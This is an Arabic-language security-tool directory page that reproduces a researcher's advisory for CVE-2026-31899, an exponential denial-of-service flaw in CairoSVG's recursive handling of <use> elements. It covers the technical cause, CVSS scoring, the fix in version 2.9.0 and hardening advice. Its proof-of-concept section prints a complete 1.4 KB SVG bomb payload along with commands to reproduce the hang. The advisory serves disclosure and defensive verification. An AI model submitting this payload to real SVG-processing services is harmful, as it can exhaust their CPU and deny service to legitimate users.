Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS الأسي عبر تضخيم تكراري لعنصر <use> في CairoSVG (CVSS 7.5 مرتفع) | Kitploit
أدوات/GitHubGitHub/snailsploit/cve-2026-31899
تحليل الثغرات الأمنيةالاستغلالأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS الأسي عبر تضخيم تكراري لعنصر <use> في CairoSVG (CVSS 7.5 مرتفع)

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31899: رفض الخدمة الأُسّي عبر تضخيم عنصر العودي في CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

الكلمات المفتاحية: CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG

Table of Contents

  • نظرة عامة
  • تفاصيل الثغرة
  • التحليل التقني
  • إثبات المفهوم
  • التأثير
  • المعالجة
  • مقاييس CVSS
  • المراجع
  • الاتصال

نظرة عامة

CairoSVG رفض الخدمة الأُسّي (CVE-2026-31899) — حمولة SVG بحجم 1,411 بايت تثبّت المعالج عند 100% إلى أجل غير مسمّى عبر تضخيم عنصر العودي.

CairoSVG (حوالي 300 ألف تنزيل أسبوعيًا) هو محوّل SVG إلى PNG/PDF شائع الاستخدام في Python. تقوم دالة use() في cairosvg/defs.py بمعالجة عناصر بشكل عودي دون أي حدود للعمق أو العدد. مع 5 مستويات من التداخل و10 مراجع لكل مستوى، يؤدي ملف SVG صغير إلى 10^5 = 100,000 استدعاء عرض — وهو متغير من هجمات "billion laughs" الخاصة بـ SVG.

اكتشفها: Kai Aizen — SnailSploit تاريخ النشر: 13 مارس 2026 درجة CVSS: 7.5 (عالية) CWE: CWE-400 — استهلاك موارد غير مُتحكم به الحزمة: CairoSVG (PyPI) نوع الهجوم: رفض الخدمة الأُسّي الصلاحيات المطلوبة: لا شيء (بدون مصادقة)

تفاصيل الثغرة

الوصف

دالة use() في cairosvg/defs.py (السطر ~335) تحلّ عناصر التي تشير إلى عناصر أخرى بشكل عودي. لا يوجد حد لعمق الاستدعاء الذاتي ولا ميزانية إجمالية للعناصر. يمكن للمهاجم صياغة ملف SVG صغير حيث تشير كل طبقة إلى الطبقة السابقة N مرة، مما ينتج O(N^depth) استدعاء عرض من مدخلات O(depth).

الخصائص الرئيسية

  • عامل التضخيم: O(10^N) استدعاء عرض من O(N) سطر إدخال
  • ملف الذاكرة: ثابت ~43MB — لا قتل بسبب نفاد الذاكرة (OOM)، ولا تنتهي العملية طبيعيًا
  • ملف المعالج: 100% على نواة واحدة إلى أجل غير مسمّى
  • حجم الحمولة: 1,411 بايت

النسخ المتأثرة

  • النسخ المعرضة: جميع الإصدارات الأقدم من 2.9.0
  • النسخ المُصححة: الإصدار 2.9.0 وما فوق

التحليل التقني

توجد الثغرة للأسباب التالية:

  1. تقوم دالة use() في defs.py بمعالجة كل عنصر عبر البحث عن هدف xlink:href الخاص به
  2. إذا كان الهدف بحد ذاته مجموعة تحتوي عناصر ، يتم توسيعها بشكل عودي
  3. لا يتم فرض أي عداد للعمق أو ميزانية للعناصر
  4. كل مستوى يضاعف العمل بعامل التفرع (مثل 10x لكل مستوى)

مع 5 مستويات وعامل تفرع يساوي 10:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

الإجمالي: 111,111 استدعاء عرض من مدخلات بحجم 1,411 بايت.

إثبات المفهوم

حمولة SVG poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

إعادة الإنتاج

الطريقة 1 — سطر الأوامر:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

الطريقة 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

التأثير

أي خدمة تقبل مدخلات SVG وتستخدم CairoSVG للمعالجة تكون معرضة للخطر:

سطح الهجوممثال
توليد الصور المصغرةرفع SVG → يقوم الخادم بالتحويل إلى PNG
توليد PDFSVG مضمّن في مستند → CairoSVG يعرضه

طلب واحد بحمولة 1.4KB سيثبّت مؤشر ترابط المعالجة إلى أجل غير مسمّى مع استهلاك ضئيل للذاكرة (لا يوجد قتل OOM لإنقاذك).

المعالجة

الإصلاح الفوري

قم بترقية CairoSVG إلى الإصدار 2.9.0 أو أحدث:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

الدفاع المتعمق

  • حدد مهلات معالجة على أي نقطة تحويل SVG
  • طبّق حدودًا لحجم الإدخال على رفع SVG
  • فكر في عزل معالجة SVG في عمال منفصلين مع حدود زمنية للمعالج

مقاييس CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

الجدول الزمني

التاريخالحدث
2026-03-09تم حجز CVE
2026-03-13نشر الاستشارة (GHSA-f38f-5xpm-9r7c)
2026-03-13إصدار CairoSVG 2.9.0 مع الإصلاح

المراجع

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG على PyPI
  • CWE-400: استهلاك موارد غير مُتحكم به
  • الالتزام بالإصلاح

الاتصال

Kai Aizen (SnailSploit)

  • الموقع: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ إخلاء مسؤولية: هذا المستودع لأغراض البحث الأمني التعليمي والمصرح به فقط. تم توفير إثبات المفهوم لمساعدة المدافعين على التحقق من تعرضهم. استخدمه بمسؤولية.


📚 التوثيق والمؤلف

المقال الكامل لهذا المشروع، والمنهجية، والأبحاث ذات الصلة متوفرة على:

https://snailsploit.com/cves

أُنشئ بواسطة Kai Aizen — باحث مستقل في الأمن الهجومي.

snailsploit.com · الأبحاث · الأطر · GitHub · LinkedIn · ResearchGate · X/Twitter

نفس الهجوم. ركيزة مختلفة.

تنزيل الأداة
معالجة الصور الرمزيةصور SVG مرفوعة من المستخدم
عرض التقاريررسوم SVG في تقارير آلية
خطوط CI/CDأصول SVG تتم معالجتها أثناء البناء
المقياسالقيمة
ناقل الهجومالشبكة (AV:N)
تعقيد الهجوممنخفض (AC:L)
الصلاحيات المطلوبةلا شيء (PR:N)
تفاعل المستخدملا شيء (UI:N)
النطاقغير متغير (S:U)
السريةلا شيء (C:N)
التكامللا شيء (I:N)
التوفرعالي (A:H)